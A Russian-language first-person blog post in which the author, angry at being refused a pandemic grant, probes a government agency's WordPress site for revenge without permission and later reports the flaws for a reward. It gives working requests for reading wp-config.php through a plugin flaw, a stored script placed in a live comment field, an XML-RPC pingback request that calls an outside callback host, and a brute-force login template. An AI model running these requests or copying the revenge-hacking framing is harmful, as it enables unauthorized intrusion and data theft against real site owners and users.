История о том, как черная шляпа становится белой.
В начале этой пандемии не все ожидали такого результата. Слишком много людей потеряли работу. Некоторые даже разорвали любовные отношения из-за низкого дохода, который всегда вносит хаос в любую пару. Несмотря на то, что я не потерял свое рабочее место, у меня были трудности с оплатой счетов. По этой причине я обратился к своему правительству за помощью.
В отличие от США, где люди на этом наживались. Некоторые даже покупают автомобили Lamborghini. Моя страна предлагала нам только от 200 до 600 фунтов стерлингов в виде единовременного предложения. Последнее только в том случае, если у вас есть семья.
Как все начиналось
Думая, что это мое право получить некоторую помощь, я попросил у них эти 200 фунтов стерлингов. Я знаю, что это было немного, но всегда что-то лучше, чем ничего. Но, как и с любой помощью со стороны правительства, всегда есть загвоздка. Они попросили людей прислать свои формы заявки до определенного дня, что я и сделал.
Перенесемся в сентябрь, после множества телефонных звонков и электронных писем. Они ответили мне, сказав, что их помощь была ограничена лишь несколькими людьми. приложения, и мое заявление пришло слишком поздно, Явно ложь. Потому что я сделал это в тот же день, когда нам сказали это сделать. Это означает только - вы сами по себе, приятель!
Примечание. По понятным причинам я буду называть их сайт https://www.campo.gov.
Месть!
В электронном письме, которое они прислали, рассказывая мне, почему мне не помогли, они сказали мне зайти на их веб-сайт, чтобы узнать причины этого решения. На данный момент я должен быть честным. Мне было все равно, и я не хотел ничего слышать. Моя единственная мысль была - они пожалеют об этом.
Как только я начал проверять их веб-сайт, я обнаружил неподдерживаемую панель входа WordPress. Зная историю развития информационных технологий в этой стране, для меня не было неожиданностью увидеть, как сайт был заражен уязвимостями, от простого Clickjacking до XSS и RCE .
Процесс
В этом списке перечислены некоторые атаки и уязвимости, которые я обнаружил на их веб-сайте. Я обнаружил много других, но из-за их важности, отличительности, я специально их выпустил.
Расширенный менеджер доступа
До версии 5.9.9 разрешено чтение произвольных файлов без проверки, разрешено ли пользователю читать данный файл. Таким образом можно загрузить файл wp-config.php и получить доступ к базе данных, которая общедоступна на многих серверах.
https://www.campo.come/?aam-media=wp-config.php
Используя этот код, я смог загрузить их wp-config.php, что дает мне более подробную информацию, чтобы продолжать проводить более сложные атаки.
HTML-инъекция
Атаки с использованием HTML-инъекций могут использоваться для двух разных целей.
- Чтобы изменить внешний вид отображаемого веб-сайта.
- Чтобы украсть личность другого человека.
<html> <body> <script> alert('Hello, world!'); </script> </body> </html>
Я разместил этот код в их поле для комментариев и сохранил его, отобразив всплывающее окно с сообщением «Hello world!» при загрузке страницы.
Эта уязвимость может позволить злоумышленникам внедрить теги html и (возможно) выполнить JavaScript, что может привести к краже сеанса пользователя.
Примечание. Я заработал 600 долларов, используя тот же метод в Atlassain.
Ключ API Карт Google
Утечка ключей API означает, что любой может и будет злоупотреблять ими. Чтобы избежать возможных проблем с завышением счетов, разработчики установили ограничения бюджета для этих API. Эти ограничения могут вызвать атаки типа «отказ в обслуживании» в соответствии с этой службой при превышении лимита.
https://maps.googleapis.com/maps/api/staticmap?center=40.714728,-73.998672&zoom=12&size=2500x2000&maptype=roadmap&key=GOOGLE_MAPS_KEY_HERE
Как я это нашел?
Я загружаю их мобильный apk для Android на свой MacBook и декомпилирую его с помощью следующих команд (Mac OS)
User@MB$ brew install apktoolUser@MB$ cd path/to/campo.apkUser@MB$ apktool d campo.apk I: Using Apktool on campo.apk I: Loading resource table... I: Decoding AndroidManifest.xml with resources... I: Loading resource table from file: 1.apk I: Regular manifest package... I: Decoding file-resources... I: Decoding values */* XMLs... I: Copying assets and libs... I: Copying unknown files... I: Copying original files...
После декомпиляции apk в файле string.xml я нашел ключи карты Google. В настоящее время большинство крупных компаний не воспринимают этот отчет как ценный.
Поскольку эта компания не участвует в какой-либо программе Bug-Bounty, это будет означать, что у нее нет никаких знаний о том, как с этим справляться. Все сводится к тому, как вы к ним подходите и рассказываете об только что обнаруженной уязвимости.
XML-RPC
XML-RPC - это спецификация, которая обеспечивает связь между WordPress и другими системами. Путем стандартизации этих коммуникаций с использованием HTTP в качестве транспортного механизма и XML в качестве механизма кодирования. Основными недостатками, связанными с XML-RPC, являются атаки методом перебора. Злоумышленники могут попытаться войти в WordPress с помощью xmlrpc. php.
xmlrpc.php
Открыв это в моем браузере, я сделал запрос GET. Но мне нужен POST, используя BurpSuite, я вызвал запрос POST и получил что-то похожее на это.
Отправить запрос:
POST /xmlrpc.php HTTP/1.1 Host: campo.com Content-Length: 480 <?xml version="2.0" encoding="utf-8"?> <methodCall> <methodName>system.listMethods</methodName> <params></params> </methodCall>
Ответ был примерно таким:
HTTP/1.1 200 OK Date: Mon, 01 Jul 2019 17:13:30 GMT Server: Apache Connection: close Content-Length: 472 Content-Type: text/xml; charset=UTF-8<?xml version="2.0" encoding="UTF-8"?> <methodResponse> <params> <param> <value> <array><data> <value><string>system.multicall</string></value> <value><string>system.listMethods</string></value> <value><string>system.getCapabilities</string></value> <value><string>demo.addTwoNumbers</string></value> <value><string>demo.sayHello</string></value> <value><string>pingback.extensions.getPingbacks</string></value> <value><string>pingback.ping</string></value> <value><string>mt.publishPost</string></value> <value><string>mt.getTrackbackPings</string></value> <value><string>mt.supportedTextFilters</string></value> <value><string>mt.supportedMethods</string></value> <value><string>mt.setPostCategories</string></value>
Подвиги 😃
Межсайтовая атака на порт
Чтобы выполнять обратные вызовы после перечисления всех методов, я использовал следующую строку для выполнения сканирования портов, также известного как xspa (межсайтовая атака на порты).
<value><string>“pingback.ping”</value></string>
requestbin предоставил мне URL в качестве обратного вызова:
POST /xmlrpc.php HTTP/1.1 Host: campo.com Content-Length: 2348<?xml version="2.0" encoding="UTF-8"?> <methodCall> <methodName>pingback.ping</methodName> <params> <param> <value><string>https://17dcbdb75.m.pipedream.net</string></value> </param> <param> <value><string>https://campo.com/</string></value> </param> </params> </methodCall>
Ответ:
HTTP/1.1 200 OK Date: Mon, 01 Jul 2019 21:53:56 GMT Server: Apache Connection: close Content-Length: 3970 Content-Type: text/xml; charset=UTF-8<?xml version="2.0" encoding="UTF-8"?> <methodResponse> <fault> <value> <struct> <member> <name>faultCode</name> <value><int>0</int></value> </member> <member> <name>faultString</name> <value><string></string></value> </member> </struct> </value> </fault> </methodResponse>
В панели вывода requestbin выводится внутренняя информация сервера.
Примечание. Чтобы это сработало, ваш ответ должен отличаться от
<value><int>0</int></value>
Атака грубой силы
Использование XML-RPC для обхода ограничения или блокировки запросов при атаке методом грубой силы на их WordPress.
Запрос:
POST /xmlrpc.php HTTP/1.1 Host: campo.com Content-Length: 235<?xml version="2.0" encoding="UTF-8"?> <methodCall> <methodName>wp.getUsersBlogs</methodName> <params> <param><value>\{\{username\}\}</value></param> <param><value>\{\{password\}\}</value></param> </params> </methodCall>
Ответ:
Собирая информацию, я обнаружил два UserNames. Но этого было недостаточно, чтобы взломать их админку, по крайней мере, не используя этот метод.
Черная шляпа становится белой
Почему-то мне стало жаль всех людей, которые могли получить утечку своей личной информации. В конце концов, я тоже был одним из них. Я остановился и отправил электронное письмо, в котором рассказал компании обо всех своих выводах. Но как я и ожидал, они даже не ответили. После нескольких недель ожидания и открытия новых вещей я решил позвонить в компанию и поговорить с ними напрямую. Человек по телефону не понимал, о чем я говорю. Она попросила мою информацию и сказала, что постарается связать меня с людьми, поддерживающими их веб-сайт.
Только через четыре дня после этого звонка начальник службы безопасности перезвонил. Она начала расспрашивать меня о моих открытиях, о том, кто я такой и как я нашел там эти уязвимости. Через несколько минут разговора по телефону она поняла, что это что-то серьезное. И это нужно было исправить как можно скорее. Даже больше, когда всего несколько месяцев назад их самый важный веб-сайт был закрыт из-за тех же проблем.
Заключение
Прежде чем закончить наш разговор по телефону, она поблагодарила меня за то, что я сделал, за то, что я позвонил ей и сообщил своим сотрудникам об этих уязвимостях. Она еще раз поблагодарила меня и сказала, что я могу получить больше телефонных звонков с просьбой предоставить дополнительную информацию об этих ошибках. Короче говоря, через две недели после этого звонка я получил начальные 200 фунтов стерлингов плюс бонус за то, что я нашел. Этот урок только учит нас тому, что даже когда мы хотим причинить вред другим, мы можем изменить вещи к лучшему и принести пользу.